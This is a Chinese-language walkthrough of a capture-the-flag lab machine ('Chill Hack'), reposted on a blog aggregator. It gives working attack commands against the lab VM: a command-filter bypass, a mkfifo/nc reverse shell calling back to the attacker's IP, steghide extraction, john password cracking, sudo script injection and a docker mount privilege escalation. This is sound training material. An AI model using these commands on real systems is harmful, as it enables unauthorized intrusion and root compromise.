日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

CTF之一次曲折获取Flag的过程

發布時間:2024/1/23 49 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CTF之一次曲折获取Flag的过程 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

Hello各位朋友們,我是小杰,今天我們繼續CTF之旅。

好,直接步入正題,先看看這次的題目描述。

通過題目描述,是有一個什么鬼機器人,能和世界進行交流巴拉巴拉......初步確定是需要獲取兩個Flag,題目的關鍵字是“枚舉”。

好的,打開靶標系統~

映入眼簾的就是這個CHILL HACK的字樣,還有一個“骷髏頭”。下邊有一處登陸系統的地方。

?

很好,打開我們的“hack”機器——Kali2020。(這里為什么不用忍者系統一會兒說明。)

?

首先確定我們攻擊機的IP地址:192.168.187.130

?

進行網段掃描,確認靶機的IP為192.168.187.137

可以看到靶機系統開放了21、22、80三個端口。

我們先訪問80

瞅瞅~

?

界面花里胡哨的,隨便瀏覽了幾下發現是一個純靜態站點,搜索框什么的都是假的,似乎沒什么好利用的。

?

接下來去看看21端口。

嗯,有一個txt文件,打開看看

這里有一個叫“Apaar”的用戶給了這么一句提示,大概意思說“Anurodh”用戶說命令中會有一些過濾,可能和命令執行有關,這里先記下來,后面可能會用到

繼續瀏覽沒什么發現了,掃掃目錄看看。

這里看看有一個secret文件夾,我們去瀏覽器中查看一番。

是一個執行命令的地方。

結合我們之前得到的信息,命令執行會被過濾,這里應該就是讓我們繞過攔截了。

先執行幾下看看。

執行ls、cat、less、more等等命令都會彈出"Are you a hacker?"

經過多次嘗試,我發現執行tac可以繞過檢測。

tac index.php

查看頁面源代碼

果然是有過濾,這里的代碼是把我們輸入的命令按照空格間隔開,之后進行匹配,這里直接命令執行繞過getshell。

我這里使用nc進行getshell。

Kali進行監聽。

nc -lvp 6666

靶機執行命令,反彈shell,

這里利用Linux下nc命令執行反彈shell的方式

ls;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.187.130 6666 > /tmp/f

nice,這里我們已經getshell,看看權限。

我們獲取的是用戶www-data的權限,等級較低,

考慮到后續的操作,這里進行提權。

?

剛剛在網頁中測試時,我們看到靶機上是裝有python的,所以這里使用python進行提權。

python3 -c "import pty;pty.spawn('/bin/bash')"

ok,提權成功,接下來瀏覽瀏覽目錄。看看能不能直接找到Flag

?

Flag沒找到,不過看到一個hacker.php的文件很可疑

黑客:你竟然已經走到這一步了!看著這片黑暗,你將會找到答案.......(出題的作者中二病犯了,有我當年風范)啊哈哈哈....

<html> <head> <body> <style> body {background-image: url('images/002d7e638fb463fb7a266f5ffc7ac47d.gif'); } h2 {color:red;font-weight: bold; } h1 {color: yellow;font-weight: bold; } </style> <center><img src = "images/hacker-with-laptop_23-2147985341.jpg"><br><h1 style="background-color:red;">You have reached this far. </h2><h1 style="background-color:black;">Look in the dark! You will find your answer</h1> </center> </head> </html>

代碼中這個圖片的名字叫法外加神神叨叨的這段話,估計是CTF中的隱寫術了。

我淦!我不會隱寫術啊

?

網上查了查資料,貌似有一款隱寫的工具可以破解利用一下。

那就先下載到本地看看吧。

?

在靶機利用python啟動一個web服務器(在images目錄下啟動)

python3 -m http.server 8080

在Kali上進行下載

  • ?
wget http://192.168.187.137:8080/hacker-with-laptop_23-2147985341.jpg

?

這里用到的隱寫破解工具是steghide

具體使用方法可以在官網查看http://steghide.sourceforge.net/

?

好,拿著工具干它一波

  • ?
steghide extract -sf hacker-with-laptop_23-2147985341.jpg

nice,提取出了圖片中隱藏的壓縮文件backup.zip

?

解壓縮,發現需要解壓密碼......

彳亍口巴,祭出神器——開膛手約翰(john)

john是Sectools排行榜上前十的密碼破解工具,功能十分強大。

這里我也要順便說一下為啥這次不用忍者的原因,忍者上沒有集成john和steghide,再安裝的話過于耗費時間,還有就是忍者需要的電腦資源實在是太大了,16G內存的我有點吃不消

?

有的大佬會說hashcat也可以破解,忍者上是有hashcat的,不過我玩的不熟練,索性就直接kali一步到位了

?

好了,廢話不多說,繼續。

先生成hash文件。

zip2john backup.zip > backup.hash

john --wordlist=/usr/share/wordlists/rockyou.txt backup.hash john backup.hash --show

使用john加載本地字典進行破解,這里破解成功,顯示密碼為pass1word

接下來進行文件解壓,查看解壓的文件內容:

<html> <head>Admin Portal </head><title> Site Under Development ... </title><body><form method="POST">Username: <input type="text" name="name" placeholder="username"><br><br>Email: <input type="email" name="email" placeholder="email"><br><br>Password: <input type="password" name="password" placeholder="password"><input type="submit" name="submit" value="Submit"> </form> <?phpif(isset($_POST['submit'])){$email = $_POST["email"];$password = $_POST["password"];if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA=="){ $random = rand(1000,9999);?><br><br><br><form method="POST">Enter the OTP: <input type="number" name="otp"><input type="submit" name="submitOtp" value="Submit"></form><?php mail($email,"OTP for authentication",$random);if(isset($_POST["submitOtp"])){$otp = $_POST["otp"];if($otp == $random){echo "Welcome Anurodh!";header("Location: authenticated.php");}else{echo "Invalid OTP";}}}else{echo "Invalid Username or Password";}} ?> </html>

閱讀代碼,看到一處使用base64加密的地方,解密看一下。

解密得到密碼

?

!d0ntKn0wmYp@ssw0rd

登陸密碼拿到手了,開始找賬戶進行登陸,最終在home目錄下看到三個用戶

是不是很眼熟,前兩個用戶就是我們剛開始通過ftp獲得到的那個文本文件中的兩個用戶。

?

拿著我們剛剛獲取到的賬號密碼,嘗試ssh登陸,經測試發現anurodh是可以登陸的。

?

ssh anurodh@192.168.187.137

?

使用sudo -l查看sudo的權限,發現可以使用apaar身份執行一個腳本文件

?

sudo -l

?

繼續~

apaar目錄是可以進入的,不過里面的local.txt文件不可以讀取

?

查看執行權限,讀取隱藏文件helpline.sh

觀察發現,msg這個地方是存在命令執行的


我們可以切換到apaar身份去執行輸出local.txt的內容

sudo -u apaar ./.helpline.sh

果不其然,拿到了第一個Flag

?

ok,繼續。

查看anurodh用戶信息

?

發現有docker組

嘗試列出本地鏡像

?

docker images -a

?

既然有本地docker鏡像,那就嘗試docker提權

?

docker run -v /:/mnt -it alpine

?

提權成功,ok,繼續搜索關鍵文件

?

輸出proof.txt

?

Ohhhhh~~~

終于拿到了最終的Flag

?

小節:不容易,搞了近十個小時,前期由于攻擊平臺的工具版本問題,好幾處破解、提權的地方都莫名報錯,從kali2017逐個版本硬是換到kali2020才逐步把問題解決。看了網上很多師傅的思路,也學習到了不少新姿勢

?

總結

以上是生活随笔為你收集整理的CTF之一次曲折获取Flag的过程的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。